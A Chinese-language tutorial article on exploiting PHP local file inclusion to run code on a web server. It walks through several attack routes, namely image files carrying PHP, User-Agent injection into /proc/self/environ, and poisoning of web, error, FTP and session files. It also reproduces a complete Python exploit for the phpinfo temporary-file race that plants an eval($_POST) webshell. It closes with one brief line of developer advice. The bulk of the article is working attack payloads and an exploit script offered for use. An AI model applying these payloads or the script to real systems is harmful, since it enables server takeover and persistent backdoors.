利用本地包含漏洞執行任意程式碼
阿新 • • 發佈:2018-12-18
1 概述檔案包含(Local File Include)是php指令碼的一大特色,程式設計師們為了開發的方便,常常會用到包含。比如把一系列功能函式都寫進fuction.php中,之後當某個檔案需要呼叫的時候就直接在檔案頭中寫上一句<?php include fuction.php?>就可以呼叫內部定義的函式。本地包含漏洞是PHP中一種典型的高危漏洞。由於程式設計師未對使用者可控的變數進行輸入檢查,導致使用者可以控制被包含的檔案,成功利用時可以使web server會將特定檔案當成php執行,從而導致使用者可獲取一定的伺服器許可權。2 利用LFI執行PHP程式碼2.1本地包含漏洞例項展示: 演示指令碼檔案test.php程式碼如下:<?phpif( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); }error_reporting(E_ALL);$f = $_GET["file"];if ($f){require "".$f.".php";}else{print("No File Included");}?>在正常使用過程中,可能是這樣子:http://www.xxx.com/test.php?f=fuction,這樣子 就包含了function這個檔案,但是由於file引數沒有過濾,我們可以自己提交引數內容,這個時候就導致了包含漏洞的出現。比如提交 : http://www.xxx.com/index.php?f=shell.txt%00,shell.txt的內容為我們的webshell,由於前面的是 index.php,所以會把shell.txt當成是木馬執行。在虛擬機器搭建例項環境,直接訪問,不賦值file引數:圖1.不提交任何引數時的test.php賦值file引數為/etc/passwd圖2.包含/etc/passwd檔案成功包含。2.2自己上傳檔案並實現包含這裡主要是結合伺服器一些檔案上傳點,比如頭像上傳、相簿照片上傳等,而後結合php的%00截斷特性成功利用包含漏洞(php5.4之後已修復截斷特性,本例中不再結合%00,其他請自己測試)。假設我們可以自定義上傳頭像,頭像檔案在網站根目錄的photo下,具體目錄可以傳上去之後檢視圖片Url資訊。 首先,我們只做包含惡意程式碼的圖片檔案:在windows下利用copy命令,shell.php為一句話木馬(這裡為了方便演示,我們用phpinfo();代替),photo.jpg問正常頭像檔案。在命令列下執行:copy photo.jpg /b + shell.php /b eval.jpg圖3.Windows下copy命令製作圖片木馬此時eval.jpg和phpoto.jpg都可以正常開啟這種方法對於驗證嚴格的上傳點有用,其實很多時候我們可以簡單的改一下字尾名,在php程式碼前加一個GIF89a就可繞過大多數檢測。將eval.jpg上傳,幷包含,效果如下圖:圖4.包含圖片木馬效果此時成功利用本地包含漏洞執行php程式碼。2.3包含環境變數檔案Linux下有一個檔案/proc/self/environ,這個檔案裡儲存了系統的一些變數。內容如下圖:圖5.BT5下/proc/self/environ檔案內容但是使用者可通過修改瀏覽器的agent資訊插入自己的內容到該檔案,將php程式碼寫進去之後再利用LFI進行包含就可以實現漏洞的利用。首先,驗證訪問許可權,看是否有許可權讀取該檔案內容圖6.包含/proc/self/environ檔案在BT的server下是預設拒絕訪問的。許可權如下:圖7.Environ檔案的許可權設定為了方便演示,用一個有許可權訪問environ檔案的環境。正常包含如圖:圖8.有許可權讀取envrion檔案時效果我們可以看到,當前的USER_AGENT變數被寫進了這個檔案,而USER_AGENT是可以偽造的,這裡我利用firefox的UAControl進行偽造,首先編輯UAControl對於這個文章的user agent資訊:圖9.修改User-agent資訊而後隨便訪問該網站上一個網頁,再次包含environ檔案:圖10.成功執行php程式碼可以發現php程式碼已經執行。2.4包含web server日誌檔案Apache的日誌檔案在LFI漏洞的利用中是非常常見的。因為不管我們提交的Get請求或者Post請求都會被apache記錄到日誌檔案裡。所以我們可以控制請求內容,將惡意程式碼寫入日誌檔案,從而實現包含。首先:檢視是否有許可權進行包含圖11.預設access檔案拒絕訪問同樣預設拒絕。圖12.日誌檔案預設許可權下面找一個有許可權的實戰環境進行測試可以包含httpd.conf檢視日誌檔案位置以及檔名格式配置,這裡就直接找到一個log進行利用(php_error.log),該檔案會記錄php在執行中出現的錯誤,圖13.php_error檔案內容所以我們直接訪問test.php?file=../<?php phpinfo();?>.php,將會被記錄下來。這樣便成功將php程式碼寫進log檔案。直接訪問:圖14.get請求中插入php程式碼返回空白,這是由於webserver未開啟報錯。包含後如圖:圖15.成功包含error日誌檔案成功執行php程式碼在實際利用中,需要注意一下幾個問題:1) Access.log和error.log過大,這時候有可能會導致超時。所以如果能包含其他檔案那就包含其他檔案。2) 寫入的程式碼被轉義。比如我們提交test.php?file=../<?php phpinfo();?>.php時,在<?php 後面緊跟著一個空格,這個空格如果被轉義成%20就會導致php程式碼執行失敗,有時候寫進access.log檔案裡的還可能是將兩個尖括號<>也轉義了的。在實際測試中,用火狐、IE8都會轉義,但是IE6不會轉義。對於所有以上情況,可以使用ie6進行利用,也可以使用NC進行直接提交GET請求。同時如果web server的short_tag開啟的話,就不用擔心空格被轉義。2.5包含其他日誌檔案檔案包含漏洞的實質是包含我們可以控制檔案內容的檔案,所以其他日誌檔案如果我們可控的話也是可以進行包含利用的。這裡以FTP的日誌檔案為例進行演示。實際利用過程中要先得到目標系統的linux發行版本號、FTP server的版本號,而後找預設日誌目錄。第一步同樣是測試許可權,看是否有許可權讀取檔案:圖16.FTP日誌檔案內容如圖,是可以包含的。下面本地登入,但是使用者名稱填:<?php phpinfo();?>圖17.在登陸視窗插入php程式碼成功包含後效果如下圖:圖18.成功包含FTP日誌檔案可以發現已經成功執行了php程式碼2.6結合phpinfo包含臨時檔案php有個特性是我們向伺服器上任意php檔案post請求上傳資料時,都會生成臨時檔案,預設是傳到tmp目錄下,並且檔名是隨機的。當然,我們可以暴力猜解,但是這樣子還是太過雞肋的。國外一個安全研究者提出利用phpinfo來找出所上傳的檔案路徑,因為phpinfo會記錄一些請求,包括在伺服器上生成的臨時檔名字和目錄。所以藉助phpinfo()我們可以找出臨時檔名並利用。下面是一個python版的利用程式碼:#!/usr/bin/env python# encoding=utf-8# Author : idwar# http://secer.org'''可能需要你改的幾個地方:1、host2、port3、request中的phpinfo頁面名字及路徑4、hello_lfi() 函式中的url,即存在lfi的頁面和引數5、如果不成功或報錯,嘗試增加padding長度到7000、8000試試6、某些開了magic_quotes_gpc或者其他東西不能%00的,自行想辦法截斷並在(4)的位置對應修改 Good Luck :)'''import reimport urllib2import hashlibfrom socket import *from time import sleephost = '192.168.92.132'#host = gethostbyname(domain)port = 80shell_name = hashlib.md5(host).hexdigest() + '.php'pattern = re.compile(r'''tmp n ame tmpname\s=>\s(.*)\W*error]''')payload = '''idwar<?php fputs(fopen('./''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''req = '''-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r''' % payloadpadding='A' * 8000request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\rHTTP_ACCEPT: ''' + padding + '''\rHTTP_USER_AGENT: ''' + padding + '''\rHTTP_ACCEPT_LANGUAGE: ''' + padding + '''\rHTTP_PRAGMA: ''' + padding + '''\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s''' % (len(req), host, req)def hello_lfi(): while 1: s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) s.send(request) data = '' while r'</body></html>' not in data: data = s.recv(9999) search_ = re.search(pattern, data) if search_: tmp_file_name = search_.group(1) url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name print url search_request = urllib2.Request(url) search_response = urllib2.urlopen(search_request) html_data = search_response.read() if 'idwar' in html_data: s.close() return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name) #import sys;sys.exit() s.close()if __name__ == '__main__': print hello_lfi()print '\n Good Luck :)'利用效果如下圖:圖19. 利用工具中的php臨時檔案圖20. 伺服器上確實生成了該檔案可以看到,成功獲取到臨時檔案的檔名以及將惡意程式碼注入到伺服器的tmp的臨時目錄下。2.7包含session檔案Session檔案一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目錄下,檔名字一般以sess_SESSIONID來儲存。首先,檢視找到session檔案幷包含一次:檔名可以通過firefox的fire cookie外掛檢視當前session值。實際應用過程中需要注意以下幾點:1) 網站可能沒有生成臨時session,以cookie方式儲存使用者資訊,或者根本就完全沒有。2) Session檔案內容的控制,這個時候我們就需要先通過包含檢視當前session的內容,看session值中有沒有我們可控的某個變數,比如url中的變數值。或者當前使用者名稱username。如果有的話,我們就可以通過修改可控變數值控制惡意程式碼寫入session檔案。如果沒有的話,可以考慮讓伺服器報錯,有時候伺服器會把報錯資訊寫入使用者的session檔案的。我們控制使伺服器報錯的語句即可將惡意程式碼寫入session。3 小結從開發者的角度來說,任何使用者可以控制的變數都要進行嚴格的檢查和過濾。只要有使用者可輸入的地方就有可能存在漏洞。而從攻擊者的角度來說,在對LFI的利用中,始終需要注意的是伺服器上只要是我們可以寫入資料的都可以拿來包含。4 參考文獻:[1] Gynvael Coldwind 《PHP_LFI_rfc1867_temporary_files》 2011.3
[2] SirGod On insecurity-ro《Shell via LFI –proc/self/environ method》[3] http://www.2cto.com/Article/201202/119213.html《利用phpinfo資訊LFI臨時檔案》[4]http://www.php.net/manual/en/features.file-upload.post-method.php 《POST method uploads》[5] LengF 80sec Group 《》 2011